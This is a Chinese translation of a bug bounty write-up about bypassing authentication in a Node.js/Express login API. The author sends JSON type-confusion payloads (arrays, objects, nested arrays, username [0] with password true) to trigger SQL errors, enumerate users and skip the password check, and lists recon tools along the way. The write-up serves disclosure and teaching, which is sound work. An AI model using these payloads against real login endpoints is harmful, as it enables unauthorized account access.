nodejs应用中的权限绕过漏洞——一个赏金漏洞的故事

niexinming / 2018-12-10 06:42:00 / 浏览数 3244 技术文章 翻译文章 顶(1) 踩(0)

翻译自：https://medium.com/bugbountywriteup/authentication-bypass-in-nodejs-application-a-bug-bounty-story-d34960256402
翻译：聂心明

hi，大家好，
在这篇文章中，我将完整介绍我在私有src中发现的一个漏洞，这个漏洞可导致nodejs的身份认证被绕过。并且我将介绍如果我遇到类似的接口（只提供单一登录表单的接口

方法

如果你挖过大公司的漏洞（像GM, Sony, Oath (Yahoo!) 或 Twitter
等），首先做侦查的第一件事情就是去运行子域名探测工具。你会发现潜在的攻击目标，有时候你会发现这个列表中会有几百个（如果不到一千个）不同的域名。如果你像我
或者类似的工具，这些工具可以探测服务器开了哪些常见的端口(80, 443, 8080, 8443 等)
，然后生成一个很棒的html报表，报表的开头就会展示哪些端口是开放的，报表里面还会有网站的摘要信息（Aquatone做的实在是太好了，如果你以前没有用过，我强烈建

但是如果你开始关注结果的话，你会发现发现大多数的网站给你显示的摘要信息要么是404 Not Found，就是401 Unauthorized，还有500 Internal Server
Error或者是vpn或者网络设备的默认登录界面，超出漏洞收取范围的第三方应用程序的登录界面，如cPanels,
WordPress。你可能不会接触到那么多的web应用程序的特性，当你运行"arsenal"时就会发现这些特性中潜藏着存储型xss或者sql注入。至少我还没有那么幸运的发现这些

但是有时你会发现一些定制化的网站，这些网站带有登录界面和一些其他的可测试的选项，像是注册或者忘记密码的链接。当我遇到一个网站的时候，我会用下面的几个方法

1. 首先第一件事--我会去查看网页的源代码（我列了一个任务清单，你可以去读一下
   https://medium.com/@_bl4de/how-to-perform-the-static-analysis-of-website-source-code-with-the-browser-the-beginners-bug-d674828c8d9a
   ）。你会发现一些像JavaScript文件或者css文件等资源文件，这样你就发现一些网站的目录（像/assets,/publish,/script或者类似的目录--你应该检查他们去寻找额外的
2. Wappalyzer
   （所有主流浏览器中都有这样的插件）能够提供足够多的关于对方服务器的信息---web的服务器版本，服务器端语言，JavaScript库等等）。它会给你目标服务器的所用
   on Rails搭建的，那么用来用来攻击javaEE的exp也可以奏效。）
3. 如果有JavaScript文件，我运行一些静态分析工具去寻找所有暴露的api接口或者是否会存在客户端验证并且验证逻辑会保存在某个地方（如果你是一个web开发者--我希
4. 从上一步获得了所有的信息之后，我开始用Burp
   Suite去测试所有相关的功能（登录，注册，忘记密码等）。我把抓到的数据报文发送到Repeater然后不断的变换着请求的内容（把Content-Type改成application/json
   application/xml或者其他的类型，把payload放入请求体中，选择不同的http请求方法，或者改变http的请求头并且寻找所有由我输入导致的服务器报错）。如果应用中
5. 最后，我运行wfuzz 去发现一些服务器中被废弃的文件和目录（或者是有意的放在那里，又或者放在那里有其他的用处），我经常使用我的自定义的"Starter
   Pack"字典，这个字典里面包含网络上最常见的web目录列表（源代码版本控制系统目录，像.git 或者.svn,IDE 目录，像JetBrains的.idea，.DS_Store
   文件，配置文件，一般的web接口路径和admin的控制面板目录，tomcat，JBoss，Sharepoint还有类似系统中特殊的文件和目录），这个字典包含的内容大约有4万5千

如果上面的步骤都不起作用，那么我就假设这个应用的安全得到了很好的保障或者那里没有可绕过验证的漏洞，或者不用考虑绕过就可以直接进入到程序中。
但是这次玩处理身份验证的接口时给了提供了一些线索。看看这个简单的登录页面，我觉得这个应用应该是自研的，然后我用Wappalyzer快速调查了这个网站的返回数据，
NodeJS 应用，这个应用所使用的框架是 ExpressJS
。作为一个全职的web程序员，我用过JavaScript几年并且我在JavaScript中寻找漏洞也颇有经验（hackerone的感谢列表中常年保持第一
）--我决定深入挖掘一下，看看能不有一些新发现。

发现

我用一些payload去测试这个接口，它应该给我一个错误凭证的错误。典型的post数据应该包含用户名和密码：

```
POST /api/auth/login HTTP/1.1
Host: REDACTED
Connection: close
Content-Length: 48
Accept: application/json, text/plain, */*
Origin: REDACTED
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3558.0 Safari/5
Content-Type: application/json;charset=UTF-8
Referer: REDACTED/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,pl-PL;q=0.8,pl;q=0.7
Cookie: REDACTED
{"username":"bl4de","password":"secretpassword"}
```

在文章的结尾我将删除一些HTTP头部，因为这些头部和这次的漏洞没有丝毫关系。
返回的报文没有包含任何激动人心的内容，除了一个单独的详细信息，说真的，我没有马上意识到这一点：

```
HTTP/1.1 401 Unauthorized
X-Powered-By: Express
```

```
Vary: X-HTTP-Method-Override, Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET
Access-Control-Allow-Headers: X-Requested-With,content-type, Authorization
X-Content-Type-Options: nosniff
Content-Type: application/json; charset=utf-8
Content-Length: 83
ETag: W/”53-vxvZJPkaGgb/+r6gylAGG9yaeoE”
Date: Thu, 11 Oct 2018 18:50:26 GMT
Connection: close

{“result”:”User with login [bl4de] was not found.”,”resultCode”:401,”type”:”error”}
```

这个返回信息以为着我的用户名被返回进了square brackets。
Square brackets在JavaScript中的意味着一个数组并且用户名看上去像数组中的元素。为了确定这一点，我发送另一个payload--一个空的数组

```
{“username”:[],”password”:”secretpassword”}
```

服务器返回的报文就很让人感到惊喜了

```
{“result”:”User with login [] was not found.”,”resultCode”:401,”type”:”error”}
```

一个空的数组？或者也许square brackets被当成了一个用户名所接受？
ok，让我们试试在用户名的地方输入一个空对象，然后看看它到底发生了什么：

```
{“username”:{},”password”:”secretpassword”}
```

对于这次请求返回的数据包就证实了我刚才对于用户名验证逻辑的猜想（它试图去调用{}.replace，但是对于JavaScript的对象来说，没有可以被替换的东西）

```
{"result":"val.replace is not a function","resultCode":500,"type":"error"}
```

这看起来就像：我创建了一个空的对象（我用val代表这个对象）之后调用了一个replace()来作为一个函数。你会看到上面的那个报错很像下面代码的报错：

```
let val = {}
val.replace()
VM188:1 Uncaught TypeError: val.replace is not a function
at <anonymous>:1:5
```

利用

能够证实一个报错是一件事，但是能够成功利用它则是一个故事。我开始去想，服务器里面的代码是怎样运行的，为什么会报这样的错误，我在下一次的测试中用尽可能多的

```
{“username”:[[]],”password”:”secretpassword”}
```

服务器的相应甚至没有达到我的预期

```
{"result":"ER_PARSE_ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server versio
```

当看到类似于上面的报错，赏金猎人的脑中会想到什么？当然是sql注入啦。但是首先，我必须发现在查询中怎样使用用户名才能制作出正确payload，让MySQL服务器乖乖

```
{“username”:[0],”password”:”secretpassword”}
```

这时，应用返回了一个不一样的错误信息：

```
{“result”:”User super.adm, Request {\”port\”:21110,\”path\”:\”/REDACTED? ApiKey=REDACTED\”,\”headers\”:{\”Authorization\”:\”Ba
```

经过快速的分析，我发现我可以以某种方式去使用ID为0的用户（或者某个数据结构中索引为0的用户）然后我发送另一个请求（这次内部服务器监听的端口是21110？），这
Base64字符串`super.adm:secretpassword` 的Authorization头，这意味着应用已经使用了下标为0的用户，并且密码来自于我最早的请求）。
下面我试图弄清楚是否我能用下标(1, 2
等)从数据库中枚举用户，然后我成功的发现了其他的两个用户。并且我发现我能传递任意数量的下标，作为登录请求中的用户名，它们会被放到查询语句中IN()：

```
{"username":[0,1,2,30,50,100],"password":"secretpassword"}
```

无论何时只要发现一个有效的下标，这个请求总是能给我返回一个有效的用户（我想--应用试图把请求发送给内部的API，通过数据库的sql查询语句去选择要使用的用户名）
我仔细思考了一下这个JavaScript的应用，我用我能想到的最简单方式去测试：布尔 false：

```
{“username”:[0],”password”:false}
```

这次服务器返回了不同的内容：

```
{"result":"Please provide credentials","resultCode":500,"type":"error"}
```

在之前，我似乎没有看过这样的报错，但是我很快的证实，返回错误的原因是用户名或者密码缺失造成的。当我提供用户名时，服务器就去验证密码，而“password”:false意

最后的poc

所以，如果密码是false时会导致失败的话，那么我就把密码换成true？

```
{“username”:[0],”password”:true}
```

就是这样，使用数字的第一个元素([0]) 作为用户名并且true这个关键字被作为密码可以让我成功的绕过用户验证

```
{"result":"Given pin is not valid.","resultCode":401,"type":"error"}
```

免责声明：这个绕过并不完全，并且也不允许我登录到这个应用，原因是这个验证过程还涉及到第三个因素：PIN码，它应该在登录之后输入。无论怎样，这个身份验证绕过
利用sql注入是不可能的，因为输入的用户名和密码都经过了正则的表达式的检查，当我构造的payload中包含不被允许的特殊字符时，服务器就会返回语法错误。

致谢

我感谢这个公司和他们的安全团队成员的支持，感谢hackerone的漏洞赏金计划让我有机会去写这篇关于漏洞的文章
以及，特别感谢我所在的安全小组成员为这份报告所提供的支持与反馈

上一篇：某CMFX_2.2.3漏洞合集 下一篇：PbootCMS漏洞合集之审计全过...

1. 0 条回复
   - 动动手指，沙发就是你的了！